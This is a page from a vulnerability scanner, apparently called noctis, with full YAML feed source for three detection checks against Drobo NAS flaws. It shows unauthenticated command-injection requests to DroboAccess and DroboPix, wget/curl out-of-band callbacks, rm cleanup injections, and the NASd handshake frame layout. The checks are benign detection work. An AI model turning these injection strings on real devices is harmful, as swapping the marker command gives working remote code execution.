Drobo — 3 vulnerability checks
noctis ships 3 vulnerability checks for Drobo, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Drobo NAS DroboAccess enable_user Unauthenticated Command Injection
| CVE | CVE-2018-14699 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, sleep, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/drobo/CVE-2018-14699.yaml |
Detects the Drobo NAS DroboAccess unauthenticated OS command injection in /DroboAccess/enable_user via the `username` parameter (CVE-2018-14699). The feed sends an `enabled=true` request whose username closes the shell quoting and writes an inert per-run text marker that only a real shell can compute (arithmetic expansion of two random numbers), reads /DroboAccess/<random>.txt back over HTTP and removes the file with a second request. When OOB is configured, a blind wget/curl callback covers devices where the read-back is not possible. A random, non-existent account name is used, so no real account is touched.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /DroboAccess/enable_user?username={{proof.user}}%27%3Becho%20NOCTIS%24%28%28{{proof.a… - HTTP(S) request
GET /DroboAccess/{{proof.fname}}.txt - HTTP(S) request
GET /DroboAccess/enable_user?username={{proof.user}}%27%3Brm%20-f%20{{proof.fname}}.txt%2… - Checks
readback.bodyforNOCTIS[0-9]{6,7}→ finding QoD 97: Drobo DroboAccess command injection confirmed via GET /DroboAccess/enable_user `username` parameter: the injected echo NOCTIS$((…+…)) wrote… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /DroboAccess/enable_user?username={{proof.user}}%27%3Bwget%20-q%20-T%205%20-t%201%20-… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Drobo DroboAccess blind command injection confirmed via GET /DroboAccess/enable_user `username` parameter: a shell removed the '' pair spli…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-14699
- https://blog.securityevaluators.com/call-me-a-doctor-new-vulnerabilities-in-drobo5n2-4f1d885df7fc
- https://github.com/RevoCain/CVE-2018-14699
Feed source — tests/vulnerabilities/drobo/CVE-2018-14699.yaml
# Drobo NAS — DroboAccess unauthenticated command injection in
# /DroboAccess/enable_user via the `username` query parameter (CVE-2018-14699).
# Same advisory as CVE-2018-14697 / CVE-2018-14698 (reflected XSS in
# enable_user / delete_user) and CVE-2018-14701 (the same injection in
# delete_user); this feed proves only the enable_user injection, so only
# CVE-2018-14699 is reported.
#
# Ported from OpenVAS/Greenbone NVT `2019/drobo/gb_drobo_nas_droboaccess_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.142107, GPL-2.0-only). Request shape cross-checked
# with the public PoC github.com/RevoCain/CVE-2018-14699 (exploit.py: GET
# /DroboAccess/enable_user?username=test';<cmd>'&enabled=true, success page
# says "sucessfully"; the command runs in the DroboAccess directory).
#
# DroboAccess splices `username` into a shell command inside single quotes
# when `enabled=true`, without authentication. `<user>';<cmd>'` closes the
# quote, runs <cmd> and reopens a quote that the original closing quote ends.
# The output is not returned (blind), so the NASL redirects `id` into a file in
# the working directory, fetches /DroboAccess/<file> and deletes it with a
# second injection.
#
# Detection — two benign proofs, nothing executable is ever written:
# 1. In-band write-then-read of an inert text marker (QoD 97): the injected
# command is `echo NOCTIS$((<a>+<b>)) > <name>.txt` with a, b random
# 6-digit integers and <name> a random per-run file name. Only a real
# shell evaluates the arithmetic and the sum never appears in a request,
# so no reflection / soft-404 page can show it. The feed GETs
# /DroboAccess/<name>.txt, then a second injection `rm -f` removes the
# file before the verdict, whatever the read-back returned.
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire): same injection, the command is
# `wget -q -O /dev/null <url> || curl -s -o /dev/null <url>` with the
# per-run OOB token split by an empty '' pair, so only a shell's quote
# removal rebuilds the callback path. Nothing is stored on the target.
#
# Deviations from the NASL (intentional):
# - Benign proof: shell-computed arithmetic in a .txt file instead of the
# output of `id` (the NASL's `uid=[0-9]+.*gid=[0-9]+` also matches a page
# that merely documents the id command).
# - A random, non-existent account name instead of the NASL's `test`, so the
# enable_user call can never act on a real account.
# - The cleanup injection always runs and ends with a shell comment, so the
# words that follow the username in the original command never become
# extra `rm` arguments (the NASL only deletes the file when
# its regex matched, leaving it behind on a partial success).
# - Better coverage: the OOB branch also catches devices whose working
# directory is not served under /DroboAccess/ (the NASL's read-back 404s).
uid: 9aea64f4-2a6b-4cdf-91f3-ef5161f46a49
name: "Drobo NAS DroboAccess enable_user Unauthenticated Command Injection (CVE-2018-14699)"
description: |
Detects the Drobo NAS DroboAccess unauthenticated OS command injection in
/DroboAccess/enable_user via the `username` parameter (CVE-2018-14699). The feed
sends an `enabled=true` request whose username closes the shell quoting and writes
an inert per-run text marker that only a real shell can compute (arithmetic
expansion of two random numbers), reads /DroboAccess/<random>.txt back over HTTP
and removes the file with a second request. When OOB is configured, a blind
wget/curl callback covers devices where the read-back is not possible. A random,
non-existent account name is used, so no real account is touched.
cves:
- CVE-2018-14699
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [drobo, droboaccess, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14699"
- "https://blog.securityevaluators.com/call-me-a-doctor-new-vulnerabilities-in-drobo5n2-4f1d885df7fc"
- "https://github.com/RevoCain/CVE-2018-14699"
steps:
# Per-run proof values: account name, file name, a/b random 6-digit
# integers, expected sum.
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ user: "noctis" + rand_hex(6), fname: "nx" + rand_hex(8), a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
store_as: proof
# NASL request, `id` swapped for the inert arithmetic marker:
# username=<user>';echo NOCTIS$((a+b)) > <fname>.txt'&enabled=true
- id: inject-write
action: http_request
method: GET
path: "/DroboAccess/enable_user?username={{proof.user}}%27%3Becho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%20%3E%20{{proof.fname}}.txt%27&enabled=true"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: write_resp
# Short gap in case the device runs the injected command asynchronously.
- id: settle
action: sleep
duration_ms: 1000
condition: "write_resp.status == 200"
- id: readback
action: http_request
method: GET
path: "/DroboAccess/{{proof.fname}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "write_resp.status == 200"
store_as: readback
# Remove the marker file before deciding. The trailing ` #` comments out the
# rest of the original command line, so `rm` gets the marker file only.
# Runs whenever the write request got any HTTP answer (even a non-200 one
# may have run the command), whether or not the marker was read back.
- id: cleanup
action: http_request
method: GET
path: "/DroboAccess/enable_user?username={{proof.user}}%27%3Brm%20-f%20{{proof.fname}}.txt%20%23%27&enabled=true"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "type_of(write_resp) == \"map\""
store_as: cleanup_resp
# Confirm RCE: the file holds NOCTIS<a+b>, a value only a shell evaluating
# $((a+b)) produces. If the read-back was skipped, `readback` is undefined
# and the short-circuited condition is false.
- id: confirm
action: match
source: readback.body
pattern: "NOCTIS[0-9]{6,7}"
condition: "write_resp.status == 200 && readback.status == 200 && stridx(readback.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Drobo DroboAccess command injection confirmed via GET /DroboAccess/enable_user `username` parameter: the injected echo NOCTIS$(({{proof.a}}+{{proof.b}})) wrote the shell-computed marker {{proof.marker}} to /DroboAccess/{{proof.fname}}.txt, read back over HTTP and then removed"
stop: true
# Blind fallback (reached only when the in-band proof did not fire): the
# command fetches the per-run OOB URL to /dev/null. The OOB token is split by
# an empty '' pair, so only a shell's quote removal rebuilds /<oob_token>.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: GET
path: "/DroboAccess/enable_user?username={{proof.user}}%27%3Bwget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%27%27{{oobsplit.b}}%20%7C%7C%20curl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%27%27{{oobsplit.b}}%27&enabled=true"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Drobo DroboAccess blind command injection confirmed via GET /DroboAccess/enable_user `username` parameter: a shell removed the '' pair splitting the OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: trueDrobo NAS DroboPix Unauthenticated Command Injection
| CVE | CVE-2018-14702, CVE-2018-14706, CVE-2018-14707 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, sleep, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/drobo/drobopix-demo-rce.yaml |
Detects the Drobo NAS DroboPix unauthenticated OS command injection in /DroboPix/api/drobopix/demo via the JSON `enabled` field (CVE-2018-14706), reported with the other DroboPix advisory CVEs (CVE-2018-14702, CVE-2018-14707). Confirmation writes an inert per-run text marker whose content only a real shell can produce (arithmetic expansion), reads it back over HTTP and removes it. When OOB is configured, a blind wget/curl callback covers devices where the read-back is not possible.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /DroboPix/api/drobopix/demowith a crafted body - HTTP(S) request
GET /DroboPix/{{proof.fname}}.txt - HTTP(S) request
POST /DroboPix/api/drobopix/demowith a crafted body - Checks
readback.bodyforNOCTIS[0-9]{6,7}→ finding QoD 97: Drobo DroboPix command injection confirmed via POST /DroboPix/api/drobopix/demo `enabled` field: the injected echo NOCTIS$((…+…)) wrote the… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /DroboPix/api/drobopix/demowith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Drobo DroboPix blind command injection confirmed via POST /DroboPix/api/drobopix/demo `enabled` field: a shell collapsed the $()-split OOB …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-14702
- https://nvd.nist.gov/vuln/detail/CVE-2018-14706
- https://nvd.nist.gov/vuln/detail/CVE-2018-14707
Feed source — tests/vulnerabilities/drobo/drobopix-demo-rce.yaml
# Drobo NAS — DroboPix unauthenticated command injection in
# /DroboPix/api/drobopix/demo (CVE-2018-14706), reported together with the
# other DroboPix CVEs of the same advisory as in the OpenVAS check
# (CVE-2018-14702 device-info disclosure, CVE-2018-14707 file upload).
#
# Ported from OpenVAS/Greenbone NVT `2019/drobo/gb_drobo_nas_drobopix_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.142109, GPL-2.0-only).
#
# The DroboPix app (Drobo 5N/5N2 DroboApp, web root
# /mnt/DroboFS/Shares/DroboApps/DroboPix/www served under /DroboPix/) splices
# the `enabled` field of the JSON body POSTed to /DroboPix/api/drobopix/demo
# into a shell command inside single quotes, without authentication. The value
# `false';<cmd> #` closes the quote, runs <cmd> and comments out the rest of
# the line. The command output is not returned (blind), so the NASL redirects
# `id` into a file under the DroboPix web root, fetches /DroboPix/<file> and
# deletes it with a second injection.
#
# Detection — two benign proofs, nothing executable is ever written:
# 1. In-band write-then-read of an inert text marker (QoD 97). The injected
# command is `echo NOCTIS$((<a>+<b>)) > <webroot>/<name>.txt` with a, b
# random 6-digit integers and <name> a random per-run file name. Only a
# real shell evaluates the arithmetic, and the sum never appears in any
# request, so no reflection / soft-404 page can show it. The feed GETs
# /DroboPix/<name>.txt, then a second injection `rm -f` removes the file
# before the verdict, whatever the read-back returned.
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire): same injection point, the command is
# `wget -q -O /dev/null <url> || curl -s -o /dev/null <url>`, where the
# per-run OOB token in <url> is split around an empty $() so only a real
# shell rebuilds the callback path. Nothing is stored on the target.
#
# Deviations from the NASL (intentional):
# - Benign proof: the marker is shell-computed arithmetic in a .txt file
# instead of the output of `id` (the NASL's `uid=[0-9]+.*gid=[0-9]+` regex
# also matches any page that merely documents the id command).
# - The cleanup injection always runs (the NASL only deletes the file when
# its regex matched, leaving it behind on a partial success).
# - Better coverage than the NASL: the OOB branch also catches devices whose
# DroboPix web root is elsewhere or read-only (the NASL's read-back 404s and
# it reports nothing), and the feed does not need the prior
# `drobo/drobopix/port` detection KB item — the proof is the identification.
uid: 9666646c-d4e4-4654-b58f-b638707ff222
name: "Drobo NAS DroboPix Unauthenticated Command Injection (CVE-2018-14706)"
description: |
Detects the Drobo NAS DroboPix unauthenticated OS command injection in
/DroboPix/api/drobopix/demo via the JSON `enabled` field (CVE-2018-14706), reported
with the other DroboPix advisory CVEs (CVE-2018-14702, CVE-2018-14707). Confirmation
writes an inert per-run text marker whose content only a real shell can produce
(arithmetic expansion), reads it back over HTTP and removes it. When OOB is
configured, a blind wget/curl callback covers devices where the read-back is not
possible.
cves:
- CVE-2018-14702
- CVE-2018-14706
- CVE-2018-14707
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [drobo, drobopix, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14702"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14706"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14707"
steps:
# Per-run proof values: file name, a/b random 6-digit integers, expected sum.
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ fname: "nx" + rand_hex(8), a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
store_as: proof
# NASL request (raw JSON body, no Content-Type, as OpenVAS http_post sends
# it), `id` swapped for the inert arithmetic marker.
- id: inject-write
action: http_request
method: POST
path: "/DroboPix/api/drobopix/demo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
body: "{\"enabled\":\"false';echo NOCTIS$(({{proof.a}}+{{proof.b}})) > /mnt/DroboFS/Shares/DroboApps/DroboPix/www/{{proof.fname}}.txt #\"}"
store_as: write_resp
# Short gap in case the device runs the injected command asynchronously.
- id: settle
action: sleep
duration_ms: 1000
condition: "write_resp.status == 200"
- id: readback
action: http_request
method: GET
path: "/DroboPix/{{proof.fname}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "write_resp.status == 200"
store_as: readback
# Remove the marker file before deciding. Runs whenever the write request got
# any HTTP answer (even a non-200 one may have run the command), whether or
# not the marker was read back.
- id: cleanup
action: http_request
method: POST
path: "/DroboPix/api/drobopix/demo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "type_of(write_resp) == \"map\""
body: "{\"enabled\":\"false';rm -f /mnt/DroboFS/Shares/DroboApps/DroboPix/www/{{proof.fname}}.txt #\"}"
store_as: cleanup_resp
# Confirm RCE: the file holds NOCTIS<a+b>, a value only a shell evaluating
# $((a+b)) produces. If the read-back was skipped, `readback` is undefined
# and the short-circuited condition is false.
- id: confirm
action: match
source: readback.body
pattern: "NOCTIS[0-9]{6,7}"
condition: "write_resp.status == 200 && readback.status == 200 && stridx(readback.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Drobo DroboPix command injection confirmed via POST /DroboPix/api/drobopix/demo `enabled` field: the injected echo NOCTIS$(({{proof.a}}+{{proof.b}})) wrote the shell-computed marker {{proof.marker}} to /DroboPix/{{proof.fname}}.txt, read back over HTTP and then removed"
stop: true
# Blind fallback (reached only when the in-band proof did not fire): the
# command fetches the per-run OOB URL to /dev/null. The OOB token is split
# around an empty $() so only a shell collapses it back into /<oob_token>.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: POST
path: "/DroboPix/api/drobopix/demo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled"
body: "{\"enabled\":\"false';wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}} || curl -s -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}} #\"}"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Drobo DroboPix blind command injection confirmed via POST /DroboPix/api/drobopix/demo `enabled` field: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: trueDrobo NAS NASd Dashboard API unauthenticated cleartext command access
| CVE | CVE-2018-14708, CVE-2018-14709 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | upnp, unknown |
| Detection | script, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 75 |
| Feed | tests/vulnerabilities/drobo/drobo-nasd-unauthenticated-command.yaml |
Reads the device identifier (ESAID) that the Drobo NAS NASd service announces on TCP 5000, then opens the NASd command port (TCP 5001), performs the Drobo Dashboard handshake with that public identifier only and sends the read-only system-information command (CmdID 61). The finding is confirmed when the device answers, without any credential and over a cleartext channel, with a command reply frame carrying its live temperature and uptime. Nothing is changed on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Sends a binary frame on the open socket
- Sends
…on the open socket - Sends a binary frame on the open socket
- … and 16 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-14708
- https://nvd.nist.gov/vuln/detail/CVE-2018-14709
- https://blog.securityevaluators.com/call-me-a-doctor-new-vulnerabilities-in-drobo5n2-4f1d885df7fc
- https://www.exploit-db.com/exploits/48214
Feed source — tests/vulnerabilities/drobo/drobo-nasd-unauthenticated-command.yaml
# Drobo 5N / 5N2 NAS — NASd Drobo Dashboard API: missing transport security
# (CVE-2018-14708) and insufficient authentication (CVE-2018-14709).
#
# Ported from OpenVAS/Greenbone NVT `2019/drobo/gb_drobo_nas_nasd_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.142111, GPL-2.0-or-later) and its detection
# `gb_drobo_nasd_detect.nasl`; frame layout cross-checked with the public PoC
# EDB-48214 ("Drobo 5N2 4.1.1 - NASd Missing Authentication", nasty.py).
#
# Protocol (cleartext, no credentials):
# - TCP 5000 (status port): on connect NASd pushes an <ESATMUpdate> XML
# document carrying the device id: <mESAID>drb131001a00527</mESAID>
# (identical to <mSerial> on the 5N2).
# - TCP 5001 (command port): every frame is a 16-byte preamble
# "DRINETTM" | type u8 | 01 00 00 | u32be body length
# Handshake: type 07, body = ESAID padded to 16 bytes | 4 x 00 | ESAID
# padded to 16 bytes | NUL padding to 220 bytes (0xdc). NASd answers with a
# framed (empty) reply. Command: type 0a, body =
# <?xml ...?><TMCmd><CmdID>61</CmdID><ESAID>…</ESAID></TMCmd> + NUL
# CmdID 61 returns the system information (temperature, uptime). The ESAID
# the device itself broadcasts on 5000 is the only "authentication".
#
# Detection (read-only): read the ESAID from the 5000 greeting, perform the
# handshake on 5001 and send CmdID 61. The finding needs a reply frame with
# the DRINETTM magic and the command-reply type 8a (EDB-48214), and reply text
# carrying both "Temperature" and "UpTime" — live system data obtained with no
# credential, over a cleartext channel (QoD 75). Nothing is changed on the
# device.
#
# Better than the NVT: the NVT sends the three frames back to back and reads
# once, so a device that answers the handshake first (as EDB-48214 documents)
# can leave the command reply unread; here each frame gets its own read, plus a
# late re-read after the engine's 500 ms idle cut. The status connection stays
# open during the whole command exchange (EDB-48214: "Connect to the stat port.
# This is required for the cmd port to work."). The handshake uses <mESAID>
# (as the NVT) and, when the device announces a different <mSerial> (the id
# EDB-48214 uses), a second session retries with the serial. The id length is
# not assumed to be 15.
uid: e24d7fa5-be71-4e83-a02b-eff01b117017
name: "Drobo NAS NASd Dashboard API unauthenticated cleartext command access"
description: |
Reads the device identifier (ESAID) that the Drobo NAS NASd service
announces on TCP 5000, then opens the NASd command port (TCP 5001), performs
the Drobo Dashboard handshake with that public identifier only and sends the
read-only system-information command (CmdID 61). The finding is confirmed
when the device answers, without any credential and over a cleartext
channel, with a command reply frame carrying its live temperature and uptime.
Nothing is changed on the device.
cves: [CVE-2018-14708, CVE-2018-14709]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [drobo, nas, nasd, drobo-dashboard, auth-bypass, cleartext, information-disclosure, tcp-5000, tcp-5001]
# NASd's status port 5000 is reported by nmap as "upnp" (nmap-services) or
# "unknown"; the command port is always TCP 5001.
services: [upnp, unknown]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14708"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14709"
- "https://blog.securityevaluators.com/call-me-a-doctor-new-vulnerabilities-in-drobo5n2-4f1d885df7fc"
- "https://www.exploit-db.com/exploits/48214"
steps:
- id: init
action: script
store_as: s
code: |
#{ drobo: false, esaid: "", alt: "", try2: false, used: "", found: false, temp: "", uptime: "" }
# 1 — status port greeting (read once more after a pause if it is late).
# The status connection is kept open until the command exchange is over.
- id: open-status
action: tcp_open
handle: st
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: g0
- id: init-late-greeting
action: script
store_as: g1
code: |
#{ response: () }
- id: wait-greeting
action: sleep
condition: "g0.connected == true && (type_of(g0.banner) != \"string\" || stridx(g0.banner, \"<ESATMUpdate>\") < 0)"
duration_ms: 1500
- id: read-greeting
action: tcp_send
handle: st
condition: "g0.connected == true && (type_of(g0.banner) != \"string\" || stridx(g0.banner, \"<ESATMUpdate>\") < 0)"
send: ""
store_as: g1
- id: parse-greeting
action: script
condition: "g0.connected == true"
store_as: s
code: |
let t = "";
if type_of(g0.banner) == "string" { t += g0.banner; }
if type_of(g1.response) == "string" { t += g1.response; }
if stridx(t, "<ESATMUpdate>") >= 0 {
let e = "";
let n = "";
let m = eregmatch("<mESAID>([A-Za-z0-9._-]{1,16})</mESAID>", t);
if type_of(m) == "array" && m.len() >= 2 { e = m[1]; }
let k = eregmatch("<mSerial>([A-Za-z0-9._-]{1,16})</mSerial>", t);
if type_of(k) == "array" && k.len() >= 2 { n = k[1]; }
if e == "" { e = n; }
if e != "" {
s.drobo = true;
s.esaid = e;
if n != "" && n != e { s.alt = n; }
}
}
s
# 2 — frames built from the announced id(s): the handshake body is the id
# padded to 16 bytes, 4 x 00, the id padded to 16 bytes, NUL padding to
# 220 bytes; the command is CmdID 61 (system information).
- id: build
action: script
condition: "s.drobo == true"
store_as: x
code: |
let magic = hexstr("DRINETTM");
let out = #{ reply: magic + "8a" };
let ids = [s.esaid];
if s.alt != "" { ids.push(s.alt); }
let i = 0;
for id in ids {
let f16 = hexstr(id);
while strlen(f16) < 32 { f16 += "00"; }
let body = f16 + "00000000" + f16;
while strlen(body) < 440 { body += "00"; }
let hs = magic + "07010000" + p32be(strlen(body) / 2) + body;
let xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><TMCmd><CmdID>61</CmdID><ESAID>" + id + "</ESAID></TMCmd>";
let cb = hexstr(xml) + "00";
let cmd = magic + "0a010000" + p32be(strlen(cb) / 2) + cb;
if i == 0 { out.hs1 = hs; out.cmd1 = cmd; } else { out.hs2 = hs; out.cmd2 = cmd; }
i += 1;
}
out
# 3 — command port (status connection still open): handshake + CmdID 61 with the ESAID.
- id: open-cmd1
action: tcp_open
handle: cm1
condition: "s.drobo == true"
port: "5001"
timeout_secs: 10
store_as: c1
- id: init-h1a
action: script
store_as: h1a
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-h1b
action: script
store_as: h1b
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-q1a
action: script
store_as: q1a
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-q1b
action: script
store_as: q1b
code: |
#{ responded: false, response: (), response_hex: () }
- id: send-handshake1
action: tcp_send
handle: cm1
condition: "s.drobo == true && c1.connected == true"
send_hex: "{{x.hs1}}"
store_as: h1a
- id: wait-handshake1
action: sleep
condition: "s.drobo == true && c1.connected == true && h1a.responded == false"
duration_ms: 1000
- id: read-handshake1
action: tcp_send
handle: cm1
condition: "s.drobo == true && c1.connected == true && h1a.responded == false"
send: ""
store_as: h1b
- id: send-cmd1
action: tcp_send
handle: cm1
condition: "s.drobo == true && c1.connected == true"
send_hex: "{{x.cmd1}}"
store_as: q1a
- id: scan-cmd1
action: script
condition: "s.drobo == true && c1.connected == true"
store_as: s
code: |
let hx = "";
let tx = "";
for v in [h1a, h1b, q1a] {
if type_of(v.response_hex) == "string" { hx += v.response_hex; }
if type_of(v.response) == "string" { tx += v.response; }
}
let at = stridx(hx, x.reply);
if at >= 0 && at % 2 == 0 && stridx(tx, "Temperature") >= 0 && stridx(tx, "UpTime") >= 0 {
s.found = true;
}
s
- id: wait-cmd1
action: sleep
condition: "s.drobo == true && c1.connected == true && s.found == false"
duration_ms: 1500
- id: read-cmd1
action: tcp_send
handle: cm1
condition: "s.drobo == true && c1.connected == true && s.found == false"
send: ""
store_as: q1b
- id: close-cmd1
action: tcp_close
handle: cm1
- id: verdict1
action: script
condition: "s.drobo == true && c1.connected == true"
store_as: s
code: |
let hx = "";
let tx = "";
for v in [h1a, h1b, q1a, q1b] {
if type_of(v.response_hex) == "string" { hx += v.response_hex; }
if type_of(v.response) == "string" { tx += v.response; }
}
let at = stridx(hx, x.reply);
if at >= 0 && at % 2 == 0 && stridx(tx, "Temperature") >= 0 && stridx(tx, "UpTime") >= 0 {
s.found = true;
s.used = s.esaid;
let t = eregmatch("Temperature>\\s*([0-9.]{1,8})\\s*<", tx);
if type_of(t) == "array" && t.len() >= 2 { s.temp = t[1]; } else { s.temp = "present"; }
let u = eregmatch("UpTime>\\s*([0-9:. ]{1,24})\\s*<", tx);
if type_of(u) == "array" && u.len() >= 2 { s.uptime = u[1]; } else { s.uptime = "present"; }
}
s
# 4 — same exchange with <mSerial> when it differs from <mESAID>.
- id: plan-serial
action: script
condition: "s.drobo == true"
store_as: s
code: |
s.try2 = s.found == false && s.alt != "";
s
- id: open-cmd2
action: tcp_open
handle: cm2
condition: "s.drobo == true && s.try2 == true"
port: "5001"
timeout_secs: 10
store_as: c2
- id: init-h2a
action: script
store_as: h2a
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-h2b
action: script
store_as: h2b
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-q2a
action: script
store_as: q2a
code: |
#{ responded: false, response: (), response_hex: () }
- id: init-q2b
action: script
store_as: q2b
code: |
#{ responded: false, response: (), response_hex: () }
- id: send-handshake2
action: tcp_send
handle: cm2
condition: "s.drobo == true && s.try2 == true && c2.connected == true"
send_hex: "{{x.hs2}}"
store_as: h2a
- id: wait-handshake2
action: sleep
condition: "s.drobo == true && s.try2 == true && c2.connected == true && h2a.responded == false"
duration_ms: 1000
- id: read-handshake2
action: tcp_send
handle: cm2
condition: "s.drobo == true && s.try2 == true && c2.connected == true && h2a.responded == false"
send: ""
store_as: h2b
- id: send-cmd2
action: tcp_send
handle: cm2
condition: "s.drobo == true && s.try2 == true && c2.connected == true"
send_hex: "{{x.cmd2}}"
store_as: q2a
- id: scan-cmd2
action: script
condition: "s.drobo == true && s.try2 == true && c2.connected == true"
store_as: s
code: |
let hx = "";
let tx = "";
for v in [h2a, h2b, q2a] {
if type_of(v.response_hex) == "string" { hx += v.response_hex; }
if type_of(v.response) == "string" { tx += v.response; }
}
let at = stridx(hx, x.reply);
if at >= 0 && at % 2 == 0 && stridx(tx, "Temperature") >= 0 && stridx(tx, "UpTime") >= 0 {
s.found = true;
}
s
- id: wait-cmd2
action: sleep
condition: "s.drobo == true && s.try2 == true && c2.connected == true && s.found == false"
duration_ms: 1500
- id: read-cmd2
action: tcp_send
handle: cm2
condition: "s.drobo == true && s.try2 == true && c2.connected == true && s.found == false"
send: ""
store_as: q2b
- id: close-cmd2
action: tcp_close
handle: cm2
- id: verdict2
action: script
condition: "s.drobo == true && s.try2 == true && c2.connected == true"
store_as: s
code: |
let hx = "";
let tx = "";
for v in [h2a, h2b, q2a, q2b] {
if type_of(v.response_hex) == "string" { hx += v.response_hex; }
if type_of(v.response) == "string" { tx += v.response; }
}
let at = stridx(hx, x.reply);
if at >= 0 && at % 2 == 0 && stridx(tx, "Temperature") >= 0 && stridx(tx, "UpTime") >= 0 {
s.found = true;
s.used = s.alt;
let t = eregmatch("Temperature>\\s*([0-9.]{1,8})\\s*<", tx);
if type_of(t) == "array" && t.len() >= 2 { s.temp = t[1]; } else { s.temp = "present"; }
let u = eregmatch("UpTime>\\s*([0-9:. ]{1,24})\\s*<", tx);
if type_of(u) == "array" && u.len() >= 2 { s.uptime = u[1]; } else { s.uptime = "present"; }
}
s
- id: close-status
action: tcp_close
handle: st
- id: report
action: match
source: s.found
pattern: "^true$"
condition: "s.found == true"
on_match:
finding:
title: "Drobo NAS NASd answers Dashboard commands without authentication"
